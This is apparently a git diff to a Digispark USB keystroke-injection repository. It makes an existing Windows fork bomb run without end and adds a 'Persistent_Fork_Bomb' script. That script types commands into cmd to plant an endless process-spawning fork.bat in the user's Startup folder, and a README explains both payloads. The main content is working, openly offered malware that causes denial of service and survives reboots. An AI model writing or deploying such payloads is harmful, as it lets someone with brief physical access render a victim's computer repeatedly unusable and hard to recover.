diff --git a/Fork_Bomb/Fork_Bomb.ino b/Fork_Bomb/Fork_Bomb.ino index 6fdbbf2..8008a6e 100644 --- a/Fork_Bomb/Fork_Bomb.ino +++ b/Fork_Bomb/Fork_Bomb.ino @@ -19,7 +19,7 @@ void loop() { DigiKeyboard.sendKeyStroke(KEY_ENTER); //Run the fork bomb DigiKeyboard.delay(500); - DigiKeyboard.print(F("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start")); + DigiKeyboard.print(F("for /l %x in (0,0,0) do start")); DigiKeyboard.sendKeyStroke(KEY_ENTER); for (;;) { /*Stops the digispark from running the scipt again*/ diff --git a/Fork_Bomb/Persistent_Fork_Bomb.ino b/Fork_Bomb/Persistent_Fork_Bomb.ino new file mode 100644 index 0000000..84071c8 --- /dev/null +++ b/Fork_Bomb/Persistent_Fork_Bomb.ino @@ -0,0 +1,22 @@ +//This script creates fork.bat file which is then run everytime the computer is powered on. +//Crated by Michyus +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("cmd"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\"")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} diff --git a/Fork_Bomb/README.md b/Fork_Bomb/README.md new file mode 100644 index 0000000..6340ca2 --- /dev/null +++ b/Fork_Bomb/README.md @@ -0,0 +1,21 @@ +# Fork_Bomb +## This script does the following: +1. Starts Command prompt +2. Resizes and changes colors of Command prompt +3. Executes fork bomb + +# Persistent_Fork_Bomb +## This script does the following: +1. Starts Command prompt +2. Creates fork.bat in Startup directory +3. Exits + +# Additional information: +- the `for /l %%x in (0, 0, 0) do start` command will run indefinetly if you want to limit number of cmd instances that will be started change like this: +```for /l %%x in (1, 1, 10) do start``` +- When using Persistent_Fork_Bomb it usually takes few seconds to get started, this depends on hw and how many other programs are in Startup directory. Still this might be hard to remove, if are unable to remove it using windows, try to boot another OS(for example debian from live USB https://www.debian.org/CD/live/), then connect it to the disk with Windows installed on it, and you should be able to remove fork.bat from Startup(This won't work if disk with Windows is encrypted). + +# Credits +- Fork_Bomb: BlackBoot +- Persistent_Fork_Bomb: https://github.com/Michyus +